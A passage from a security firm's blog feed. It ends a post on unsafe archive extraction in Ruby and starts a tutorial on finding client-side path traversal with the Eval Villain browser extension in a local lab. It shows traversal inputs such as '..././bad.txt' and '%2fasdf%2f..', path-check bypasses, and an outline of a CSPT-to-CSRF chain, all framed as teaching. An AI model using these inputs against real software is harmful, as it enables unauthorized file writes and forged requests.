      &lt;span class=&quot;no&quot;&gt;FileUtils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mkdir_p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sanitized_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sanitized_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, if the developer wants to sanitize the path themselves by removing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; using any kind of replacement, they should make sure that the sanitization is applied repeatedly until there are no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; sequences left. Otherwise, cases like the following can occur, leading to a bypass:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;..././bad.txt&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sanitized_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;gsub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/(\.\.\/)/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ../bad.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-path-validation&quot;&gt;2. Path Validation&lt;/h3&gt;

&lt;p&gt;Before writing the contents of the entry to the destination path, you should ensure that the write path is within the intended destination directory. This can be done by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start_with?&lt;/code&gt; to check if the write path starts with the destination path, which prevents directory traversal attacks.&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;safe_unzip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SEPARATOR&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;end_with?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SEPARATOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# good&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;Zip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;start_with?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Attempted Path Traversal Detected: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

      &lt;span class=&quot;no&quot;&gt;FileUtils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mkdir_p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s important to note that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.expand_path&lt;/code&gt; should be used instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.join&lt;/code&gt;. Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.expand_path()&lt;/code&gt; is crucial because it converts a relative file path into an absolute file path, ensuring proper validation and preventing path traversal attacks.&lt;/p&gt;

&lt;p&gt;For example, consider the following secure approach using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.expand_path&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# output = Ruby/PoC/test_case&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# path = Ruby/PoC/secret.txt&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry_var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Check for path traversal&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;start_with?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Attempted Path Traversal Detected: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry_var&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.expand_path&lt;/code&gt; converts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; to an absolute path, and the check with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start_with&lt;/code&gt; correctly verifies whether the extracted file path is within the intended output directory.&lt;/p&gt;

&lt;p&gt;On the other hand, if you use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.join&lt;/code&gt; to build the output path, it may result in vulnerabilities:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# output = Ruby/PoC/test_case&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# path = Ruby/PoC/test_case/../secret.txt&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry_var&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Incorrect check&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;start_with?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Attempted Path Traversal Detected: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry_var&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The check would incorrectly return &lt;em&gt;true&lt;/em&gt; even though the path actually leads outside the intended directory (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test_case/../secret.txt&lt;/code&gt;), allowing an attacker to bypass the validation and perform a path traversal. The takeaway is to always &lt;strong&gt;normalize&lt;/strong&gt; the path before verifying.&lt;/p&gt;

&lt;p&gt;One detail I missed, which my mentor (Savio Sisco) pointed out, is that in the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safe_method&lt;/code&gt;, I didn’t include the following line:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SEPARATOR&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;end_with?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SEPARATOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Without this line, it was still possible to bypass the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start_with&lt;/code&gt; check. Although path traversal is not possible in this case, it could still lead to writing outside of the intended directory:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/home/user/output&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;../output_bypass/bad.txt&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# /home/user/output_bypass/bad.txt&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;start_with?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;expand_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;

&lt;p&gt;This research delves into the issue of unsafe archive extraction across various programming languages. The post shows how giving developers more freedom also places the responsibility on them. While manual implementations are important, they can also introduce serious security risks.&lt;/p&gt;

&lt;p&gt;Additionally, as security researchers, it is important to understand the root cause of the vulnerability. By developing Semgrep rules and labs, we hope it will help others to identify, test and mitigate these vulnerabilities. All these resources are available in the Doyensec &lt;a href=&quot;https://github.com/doyensec/unsafe-Unpacking&quot;&gt;repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Decompression attacks are a broad field of research. While this blog covers some cases related to file extraction, there are still many other attacks, such as zip bombs and symlink attacks, that need to be considered.&lt;/p&gt;

&lt;h3 id=&quot;a-few-thoughts-on-my-internship&quot;&gt;A Few Thoughts On My Internship&lt;/h3&gt;

&lt;p&gt;Although this blog post is not about the internship, I would like to use this opportunity to discuss my experience too.&lt;/p&gt;

&lt;p&gt;Two years ago, during my OSWE preparation, I came across a Doyensec blog post, and I used them as study resource . Months later, I found out they here hiring for an internship which I thought was an incredible opportunity.&lt;/p&gt;

&lt;p&gt;The first time I applied, I received my very first technical challenge — a set of vulnerable code that was a lot of fun to work with if you enjoy reading code. However, I wasn’t able to pass the challenge that year. This year, after two interview rounds with Luca and John, I was finally accepted. The interviews were 360 degree, covering various aspects like how to fix a vulnerability, how computers work, how to make a secure snippet vulnerable, and how to approach threat modeling.&lt;/p&gt;

&lt;p&gt;In my first few weeks, I was assigned to some projects with a lot of guidance from other security engineers. I had the chance to talk to them about their work at Doyensec and even chat with one former intern about his internship experience. I learned a lot about the company’s methodology, not only in terms of bug hunting but also in how to be more organized — both in work and in life. Just like many CTF players, I was used to working late into the night, but since I wasn’t working alone on these projects, this habit started to interfere with communication. Initially, it felt strange to open Burp when the sun was still up, but over time, I got used to it. I didn’t realize how much this simple change could improve my productivity until I fully adjusted.&lt;/p&gt;

&lt;p&gt;Working on projects with large codebases or complex audits really pushed me to keep searching for bugs, even when it seemed like a dead end. There were times when I got really nervous after days without finding anything of interest. However, Savio was a great help during these moments, advising me to stay calm and stick to a clear methodology instead of letting my nerves drive me hunt without thinking. Eventually, I was able to find some cool bugs on those projects.&lt;/p&gt;

&lt;p&gt;Even though I had very high expectations, this experience definitely lived up to them. A huge thanks to the team, especially Luca and Savio, who took great care of me throughout the entire process.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>CSPT the Eval Villain Way!</title>
   <link href="https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html"/>
   <updated>2024-12-03T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain</id>
   <content type="html">&lt;p&gt;Doyensec’s Maxence Schmitt recently built a
&lt;a href=&quot;https://github.com/doyensec/CSPTPlayground&quot;&gt;playground&lt;/a&gt; to go with his
&lt;a href=&quot;https://blog.doyensec.com/2024/07/02/cspt2csrf.html&quot;&gt;CSPT research&lt;/a&gt;. In this blog post, we will demonstrate how to find and exploit CSPT bugs with Eval Villain. For this purpose, we will leverage the second challenge of Maxence’s playground.&lt;/p&gt;

&lt;h1 id=&quot;a-step-by-step-intro-to-cspt-with-eval-villain&quot;&gt;A step-by-step intro to CSPT with Eval Villain&lt;/h1&gt;

&lt;p&gt;The next image shows what this methodology yields.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_1.png&quot; alt=&quot;Eval Villain shows CSPT inital and secondary CSPT sinks&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;We’ve added some boxes and arrows in orange to better illustrate the current situation. First,
Eval Villain saw that part of the page’s path is being used in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; request.
There, you can plainly see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;asdf%2f..&lt;/code&gt; was being URL decoded. Or if you prefer, you can expanded
the “Encoder function” group to check. Either way, Eval Villain had discovered the CSPT sink.&lt;/p&gt;

&lt;p&gt;The second square is on top of a debug statement from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evSourcer&lt;/code&gt;. This was
where the response from the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; was being added to Eval Villain’s
source bank. As a result, Eval Villain warned us that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_id&lt;/code&gt; parameter from
the CSPT response had hit another &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; sink. Again, you could get a bit more
details from the “Encoder function”.&lt;/p&gt;

&lt;p&gt;From the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arg[2/2]&lt;/code&gt; of each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; we learned more. The first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt;
that had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;redirect&quot;:&quot;follow&quot;&lt;/code&gt; and the second had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;method&quot;:&quot;POST&quot;&lt;/code&gt;. So we
controlled the path of a client-side &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; request and an open redirect could have sent
that request to our own server. The response of our own server would have then been
used in the path of an authenticated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request. This one image shows the
entire exploit chain for a CSPT2CSRF exploit.&lt;/p&gt;

&lt;p&gt;All of this instrumentation stays around to help us with our exploit. Clicking
the provided solution we see the following image. This shows exactly how the
exploit works.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_2.png&quot; alt=&quot;Eval Villain shows an intended CSPT2CSRF solution&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;building-the-picture-yourself&quot;&gt;Building the picture yourself&lt;/h1&gt;

&lt;h2 id=&quot;step-0-tools&quot;&gt;Step 0: Tools&lt;/h2&gt;

&lt;p&gt;You will need Firefox with &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/eval-villain/&quot;&gt;Eval
Villain&lt;/a&gt;
installed.&lt;/p&gt;

&lt;p&gt;You’ll also need the &lt;a href=&quot;https://github.com/doyensec/CSPTPlayground&quot;&gt;CSPT playground&lt;/a&gt;,
which runs in Docker via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker compose up&lt;/code&gt;. This should bring up a vulnerable
web app on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://127.0.0.1:3000/&lt;/code&gt;. Read the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README.md&lt;/code&gt; for more info.&lt;/p&gt;

&lt;p&gt;We really do recommend trying this out in the playground. CSPT is one of those
bugs that seems easy when you read about it in a blog but feels daunting when you run
into it on a test.&lt;/p&gt;

&lt;h2 id=&quot;step-1-finding-a-cspt&quot;&gt;Step 1: Finding a CSPT&lt;/h2&gt;

&lt;p&gt;Log into the playground and visit the “CSPT2CSRF : GET to POST Sink” page. Open
the console with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ctrl+shift+i&lt;/code&gt; on Linux or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+option+i&lt;/code&gt; on Mac. Ensure Eval
Villain is turned on. With the default configuration of Eval Villain, you
should just see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[EV] Functions hooked for http://127.0.0.1:3000&lt;/code&gt; in the
console.&lt;/p&gt;

&lt;p&gt;In a real test though, we would see that there is obviously a parameter in the URL
path. Eval Villain does not use the path as a source by default, due to false
positives. So lets turn on “Path search” in the “Enable/Disable” pop-up menu
(click the Eval Villain logo).&lt;/p&gt;

&lt;p&gt;Now, after a page refresh, Eval Villain will tells us about two calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt;,
each using the path. We don’t know if they are CSPT yet, we need to check if
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; is accepted, but it looks hopeful.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_3.png&quot; alt=&quot;Eval Villain a finding potential CSPT via Path Search&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Note: You may only see one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetch&lt;/code&gt; here, that is ok.&lt;/p&gt;

&lt;h2 id=&quot;step-2-testing-for-cspt&quot;&gt;Step 2 Testing For CSPT&lt;/h2&gt;

&lt;p&gt;To test for actual CSPT, just add the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%2fasdf%2f..&lt;/code&gt; to the end of the
path. This is a good tip, since this will normalize to the original path, the
website will act the same if it’s vulnerable. When you refresh the page you
will see this in the console.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt_with_ev_4.png&quot; alt=&quot;Eval Villain verifying a CSPT primitive&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

